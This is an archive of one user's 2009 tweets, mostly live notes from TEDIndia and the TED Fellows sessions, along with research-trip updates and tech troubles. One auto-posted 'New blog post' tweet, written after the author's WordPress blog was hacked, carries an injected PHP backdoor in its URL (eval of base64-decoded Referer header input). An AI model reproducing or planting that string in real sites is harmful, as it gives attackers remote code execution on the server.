  • At the TED x Fellows breakfast. Spreading ideas. #tedindia #tedfellows http://twitpic.com/ofndt #
  • weird to hear & see an Indian sadhu talkin w a quasi-American accent. globalization??? His rhetoric is funny! Sadguru Vasudev. #tedindia #
  • (ed) RT @rmack & @AndreMartin: "A trip into d secret, online 'cloud'": where & how yr files r stored online -plain English http://ow.ly/zuwf #
  • Does anyone in the simulcast lounge at #tedindia have an iPhone charger?? It's a real trek to my room!! #
  • He got 3 sets of standing ovations. @tedchris says he's one of the most outstanding innovators he has ever seen. #TEDindia #tedfellows #
  • Integrating computing with everday objects. How powerful is that!!! Pranav mistry is sheer genius. Wow. #TEDindia #tedfellows #
  • Wow!!!! Took paper. Removed mic from camera. Clipped cam to paper. now plays games using paper as the computer. With info too. #TEDindia #
  • Explored 3D pen and stickynotes. Then reversed this thinking Why not paint real life with digital info??? And WOW!!!! #TEDindia #tedfellows #
  • Pranav Mistry – SixthSense we use objects and gestures as part of everyday life.wHy not mimic in tech?? #tedfellows #tedindia #
  • .@sunil_abraham I wish!!! No booze on the entire campus!!! in reply to sunil_abraham #
  • Modified camera to record his acuity. Dylan is the system being used. Now testing Dylan for autism. Awesome!!! #tedindia #tedfellows #
  • Motion or dynamic info processing the bedrock in recovery. Using Darius his baby as a baby cam!!! #tedindia #tedfellows #
  • Really enjoying being here. Get a bit of "india shining" feel tho. 1st session was v entertaining. 2nd session a bit of same old. #tedindia #
  • Pavan sinha fm MIT tells us that recovery is possible and has treated 200 kids despite extended congenital blindness. #tedindia #tedfellows #
  • Project prakash. Neuroscience. Outreach +treatment + study. Showing kids from blind school on video. #tedindia #tedfellows #
  • Fir all those who asked. Was in the main auditorium so no tweeting. Only allowed in simulcast lounge and last row. #tedindia #tedfellows #
  • And another pic of the mainstage. #tedindia #tedfellows No video allowed at all. http://twitpic.com/obxvm #
  • The TED stage. Event begins in 10. Nice sarees as a backdrop. Mobiles off soon. http://twitpic.com/obx04 #
  • Crazy rush for the best seats for the opening session of the main event. #tedindia #tedfelliws. http://twitpic.com/obvqe #
  • Jugaad flourishes where government fails to provide solutions. Bottom up social arrangement. Scale makes it viable. #tedindia # tedfellow #
  • What??? RT @vishalgondal RT @ppeach: Credit card companies know whether couples will divorce 6 months before they do. #TEDIndia #
  • Calls chit funds stripped down capitalism! Regd industry 3-4k billion dollars. Unregistered 10 to 100 tines that amt. #tedindia #tedfellows #
  • Modit on Chit funds in context of jugaad. Much like the kitty party concept. Lending/saving/ insurance device. #tedindia #tedfellows #
  • Reuben sez new term for ambulance = death taxi ! #tedindia #tedfellows #
  • Charges approx. 2.5 times normal taxi rates Bigger barrier is cultural, located in association with dead body. Jugaad #tedindia #tedfellows #
  • Context for his business idea. 90% usage of ambulance in india was for dead bodies. #tedindia #tedfellows jugaad panel #
  • Shaffi fm 1298 dial for ambulance. Jugaad. Differential pricing paid &free. depends on type of hospital. Pvt or public #tedindia #tedfellows #
  • For working poor. Rentals play a key role in pricing. Selling impressive homes fr USD 6k to 10 k. Jugaad #tedindia #tedfellows #
  • Housing market in inda. 25 million units of unfulfilled demand. USD 150 billion opportunity in sales. Jugaad #tedindia #tedfellows #
  • Dhaval fm ashray housing. His company treats land as working capital rather than rely on appreciation. Jugaad. #tedindia #tedfellows #
  • David Kyle on jugaad panel sez jugaad is inherent in education sector in india. He's a financer. #tedindia #tedfellows #
  • Jugaad is a work around the system sez Reuben. Affordability is at the heart of jugaad #tedindia #tedfellows #
  • Workshhop on jugaad with reuben abraham and others just starting. #tedindia #tedfellows #
  • 5 Mina into Microsoft surface demo here's what we see. @amitvarma spilt coke on it. Hehe. #tedindia http://twitpic.com/o8ezk #
  • Watching a demo of Microsoft Surface. 10000 usd. #tedindia #tedfellows http://twitpic.com/o8enq #
  • over and out for now – party time !!! #tedindia #tedfellows #
  • announcements on now – party at brindavan gardens tonight – gr8 becoz infosys campus does not allow booze!!!!!!! #tedindia #tedfellows #
  • he's a great speaker!! whatever brilliant ideas you hear – the opposite also may be true – essence #tedindia #tedfellows #
  • he should study indian addresses too!!! #tedindia #tedfellows #
  • final lecture of the day beginning – confounding systems of japanese streets = derek sivers #
  • new opps for collab, multimedia integration, imaginative ways to tell their story – grade 4 using it too!!! #tedindia #tedfellows #
  • Rob Newberry – students using prezi. http://prezi.com/. So what does web2.0 in classroom mean for the future?#tedindia #tedfellows #
  • kids r thinking vieually – engaged and tech minded – when u ask for proof of learning – non-linear ways! #tedindia #tedfellows #
  • Rob Newberry – emerging tech are changing classrooms & students. give it to them, rather than teach, u see learning! #tedindia #tedfellows #
  • she's holding a brain in her hand! talking of info processing. starts left goes right forward & backwards #tedindia #tedfellows #
  • strange twist – cowdung trade led to increasing cattle & degrading forests & elephants (which were in my coffee!!) #tedindia #tedfellows #
  • growth of trade in cowdung – YES cow dung – it is being sold as get far higher price than chemical fertilizers #tedindia #tedfellows #
  • Prof. Madhusudan Nature Conversation – nice first slide – "waiter, there's an elephant in my coffee!" #tedindia #tedfellows #
  • Bacterial Consortium formed to solve these probs. Cultured at diff salinity levels. Nitrifying BioReactors #tedindia #tedfellows #
  • Prof Mohan Kandaswamy – traditional systems of aquaculture lots of waste & harmful ammonia – pollution – hi mortality. #tedindia #tedfellows #
  • eve blossom's company is lulan artisans http://www.lulan.com/blog/ – #tedindia #tedfellows #
  • artisans vulnerable to trafficking – at risk. formed social venture to prevent human trafficking & generate eco opps. #tedindia #tedfellows #
  • talks of human trafficking as a marketplace – and she felt the call to do something after a horrifying experience #tedindia #tedfellows #
  • Prof Eve Blossom – moved to vietnam as an architect of buildings and left vietnam as an architect for change #tedindia #tedfellows #
  • Raqs – photo, installations, video – invite viewer to analyse a crime. subodh gupta – celebrates everyday artifacts #tedindia #tedfellows #
  • interesting set doing art and installations – loved the skeleton of a rickshaw by jitin kallat #tedindia #tedfellows #
  • Ravin Agarwal 10 indian artists- bharti kher, – bindis, balasubramanium, chitra ganesh – amar chitra katha, #tedindia #tedfellows #
  • .@thecomicproject tons of references to Jugaad this morning at the Fellows sessions! #tedindia #tedfellows #
  • .@rayyans there will be a live feed for some main sessions tomorrow http://ted.indiatimes.com/ in reply to rayyans #
  • the infosys campus is fantastic in a weird sense – architectural kitsch! not sure i love it tho – ot inviting me to explore more! #tedindia #
  • V.S. Ramchandran was fantastic! #tedindia #tedfellows #
  • Ramachandran – Gandhi neurons – there is no independent self that is outside of others – bridging the science-humanities gap! #tedindia #
  • #tedindia #tedfellows similarly – with touch – these neurons are based in empathy. but you don't feel the touch. empathy but not experience #
  • #tedindia #tedfellows MIRROR neurons – transmitted eg. tool use, fire, shelter, language – this is the basis of culture and civilization. #
  • neurons fire when person performs a specific action. a subset will also fire when u look at someone else performing that action #tedindia #
  • VS Ramachandran – representation of self and others on the human brain #tedindia @tedfellows . puts electrodes in nerve cells & eavesdrops #
  • Suneeta Reddy – Apollo Hospitals talked of telemedicine – a bit like a pitch – didn't learn v much #tedindia @tedfellows #
  • Richard Alderson of Unltd India – DNA of social entrepreneurship made up of Economic, social, political, Spiritual. #tedindia #tedfellows #
  • First interesting TEDUniv talk – PalletRacks Structures by Freeman Murray #TEDIndia #TEDFellows #
  • this morning was cool; got to hear what 25 Fellows are doing! will be posting pics I took later. #TEDIndia #TEDFellows #
  • TED University consists of 4 minute talks – 3 sessions with 6-7 people each. Before the main event tomorrow #TEDIndia #TEDFellows #
  • Bruo Guissani introduces the first session at TED Unilversity #tedfellows #tedindia Kiran Khalap talking. Are Ideas Good or Bad? #
  • RT @nehavish: any suggestions for a decent market research blog focusing on India? #
  • In the bus to #tedindia with #tedfellows Much bonding happening. @amitvarma is in form! http://twitpic.com/o3l2e #
  • i'm getting hooked onto NDTV Lumiere – nice contemporary world cinema #
  • is anyone else not getting Twitter DM notifications via email anymore or very delayed DMs on web or twitter client? #dmfail #
  • New blog post: links for 2009-10-28 http://bit.ly/2ecKft #
  • sorry, the live feed here is wrong. http://twitter.com/dina/status/5230295120 – apparently they don't have a live feed @efm2 in reply to efm2 #
  • I'm reading: HOW TO: Measure Social Media ROI – a guide from @mashable: CLIP: "Companies and e.. http://bit.ly/vBZBt #
  • .@kerryritz no it doesn't – my mistake! someone had that link up on the #ecomm feed and I got it from there. @martijnsnels corrected me in reply to kerryritz #
  • .@MartijnSnels really? darn. is there a live videostream for this one? #ecomm in reply to MartijnSnels #
  • following #ecomm and watching it live here http://ecomm.blip.tv/ #
  • I'm reading: Insights Qualitativos 2.0: New study from Forrester: Market Research Online Communitie.. http://bit.ly/SxAQD #
  • I'm reading: New China Mobiles available in Indian Market – Reviews: More on China Phones – some of.. http://bit.ly/3nWfVI #
  • thought for the day โ€œIf the doors of perception were cleansed, every thing would appear as it is.โ€ [William Blake]. Big existentialist IF! #
  • RT @DavidGurteen: Are the iPhone + social networks making the classic Web + intranet obsolete? http://bit.ly/RmQ0t. +++ @dhinchcliffe #
  • dilemma – potential client keeps asking for research proposals. no study commissioned. how wd u deal with the nth request for a proposal? #
  • study- upward mobility in mumbai. interviews w popculture journalists/artistes, migrants to mumbai for better life. ping me if interested? #
  • oh this is cool. my polish friend marcin is in Shanghai and is learning chinese – and sharing these lessons online http://is.gd/4Ao7m #
  • New blog post: links for 2009-10-24 http://bit.ly/3hHIlk #
  • can't believe the number of face product/brand ad claims around whiteness & fariness. levers, garnier, l'oreal etc. just wrong. #
  • time to morph into a couch potato for the weekend. two 'nothing' days served up ๐Ÿ™‚ #
  • I'm reading: Sentient City: Interview w Fabien Girardin | research on how new tech shapes public sp.. http://bit.ly/37ydof #
  • RT @scorpfromhell: Awesome conversion calculator for recipes! http://bit.ly/1i6L6A No more ml to gms/cups confusions! #
  • I hear ya! via @c5: Why does women's use of tech always hv to b justified? It's as if women shd only use tech if it serves the social good.. #
  • New blog post: links for 2009-10-22 http://bit.ly/VOhvT #
  • I'm reading: How C.K. Prahalad's Bottom of the Pyramid Strategies Are Paying Off – Knowledge@Wharto.. http://bit.ly/aW58v #
  • Oh nooiooo. Firecrackers redux. Doesn't pay to stay close to the congress HQ!!! #
  • I'm reading: India Inc is all a Twitter | @maheshmurthy – nice comments there!!!: Clip: โ€œEven simpl.. http://bit.ly/11FalZ #
  • New blog post: My hiccups with Snow Leopard http://bit.ly/15dFR9 #
  • I'm reading: Brand equity in real time | b r a n t s: Manu's take on Yahoo's 'static.. http://bit.ly/3XQMhP #
  • RT [ed] @mukund: Indian engineers reinvent products, cut costs, reach billions of people who live on < $2 a day. http://bit.ly/3A00ac #
  • got snow leopard – probs w powerpoint, reliance netconnect, printer driver. solved! so grateful to pple who share generously online #
  • consumers are embracing the โ€˜nowโ€™ with more passion than ever before – Foreverism and Nowism http://trendwatching.com/briefing/ #
  • hv been sooo away fm twitter for the last 2 weeks or so! immersed in research findings & making sense of them. what's been happening here?? #
  • Bareilly streets. Everything goes. Hurtled down them by a mad max driver in a brand new i10 #pragati http://twitpic.com/ixngj #
  • huge aspirations for young kids in Bareilly – learning English is seen as opening up many opportunities! #pragati #
  • akanksha is 22, desperate to do a computer course, but family won't let her. given opportunities she could shine, she is so smart!! #pragati #
  • day 2 in bareilly – thanks to Chandana, the chaat we had for dinner was fabulous. sanmeet has some nice pics of that #pragati #
  • #pragati is a research project on mobility, involving immersions all around the country @neerajsaxena #
  • Excited to be going to Bareilly tomorrow for #pragati Not looking forward to the 6 hour car ride tho!! #
  • .@Asfaq hey thanks!! check this out ๐Ÿ™‚ – Jajah @call @stuarthenshall service misses the Phweet spot IMHO http://bit.ly/3wPISI in reply to Asfaq #
  • thank you soooo much everyone!!! i'm thrilled to be going to TEDIndia. sorry too that many deserving others weren't selected really. #
  • there are so many 'dina's on twitter now! glad i grabbed the name when i did :). getting messages @dina that aren't meant for me #
  • New blog post: 2 hard disk crashes and a swollen battery; still, I love my Mac! http://bit.ly/1wpkGK #
  • here's a pic of my swollen macbook battery http://twitpic.com/haoeo . is a known issue #
  • hv a swollen macbook battery which puts pressure on keyboard – being replaced free! just made it really – almost 3 yrs up on protection plan #
  • ctd @BDUTT – Supreme court shd be neutral surely as either way it's impinging upon someone's freedom to choose. let the pple sort it out. #
  • See you at the Mumbai Twestival Local 2009! @ http://www.etiole.com/twestival/ #
  • New blog post: links for 2009-09-10 http://bit.ly/Waosw #
  • I'm reading: Evangelist: Think! says @elsua in a great post on social computing and the corporate wo.. http://bit.ly/140mPo #
  • lol & +++ @om for asking the guys fm google's android & motorola how they would improve the iphone!!! the answer wasn't great tho #mobilize #
  • correction – the UI is MotoBlur built on Android – the phone's called MotoCLIQ #
  • pics from the Motoblur announcement, with motorola chief's comments & screenshots already up at @gdgt http://is.gd/37j6t [via @scobleizer] #
  • sanjay jha is talking of MotoBlur Widgets as opposed to Apps – to help you focus on WHAT people say, rather than HOW or WHERE. #mobilize #
  • MotoBlur being announced – all your social networking (FB, Twitter,Email, etc) synched in 1 stream on homepage customized by u – #Mobilize #
  • watching the livestream from Mobilize – @GigaOM's conference on next-gen mobile. http://www.livestream.com/gigaomtv #
  • A 3yrold's curiosity is a gud m'sure of wisdom; Explain "Why is water wet?" w'out "viscosity", "loose molecules", or "divination" sez @gravy #
  • 'user' speak & lost in translation "facebook – all do here, the boys, girls all do". Take that!! #
  • .@sm63 aaaah its going to be one of those 'closed door' meetings meant to 'open minds' ๐Ÿ™‚ in reply to sm63 #
  • next two days I'm locked into a workshop on activating beauty and grooming insights for 20 something women. should be hard work and fun! #
  • New blog post: links for 2009-09-06 http://bit.ly/2tBFgd #
  • New blog post: Reading Ahead … ethnography on evolution of books and reading http://bit.ly/4uxYLD #
  • i never use Yahoo Messenger anymore – mostly chat on Gtalk or Skype. i miss the play on fonts – colours, sizes that Y!Messenger allowed. #
  • I'm reading: There Will Be Web Jobs for Social Scientists | good news ๐Ÿ™‚ [via @ndhanthro at anthrode.. http://bit.ly/Rb0L5 #
  • Gen Y speak – made me smile! RT @unitechy: damn I dont even know how to send a fax!!! but I know how to google #
  • my WP blog is back!!! http://is.gd/2Wmx6 [via @robpatrob] helped @stuarthenshall who got it back up for me. big hug to all who reached out! #
  • thanks so much- really appreciate all the offers for helping. am working on it. hopefully should be solved soon. if not, will shout again! #
  • New blog post: links for 2009-09-05 http://bit.ly/dBeil
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  • my blog's hacked. unable to upgrade WP. http://twitpic.com/glkrd. reading http://is.gd/2Vz5A but too complex for me to do. can someone help? #
  • New blog post: http://dinamehta.com/2009/09/05/688/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ #
  • I'm reading: Facebook Claims 65 Million Mobile Users | via @raquelrecuero: Facebook said more than 6.. http://bit.ly/2IAJGB #
  • .@Zishaan lol! i hope more of my followers are in that 3% then ๐Ÿ™‚ in reply to Zishaan #
  • .@Zishaan fm where did u get these %'s :)?. wish they had the option like earlier so folks can opt in or out of seeing replies! #fixreplies in reply to Zishaan #
  • I'm reading: 'N900 – Suggests an opportunity – Still missing the right metaphor to grab attention' -.. http://bit.ly/4h2yQm #
  • .@suddentwilight – thanks for a really honest & lovely interview this morning! keep in touch … & lets tweetup soon. #

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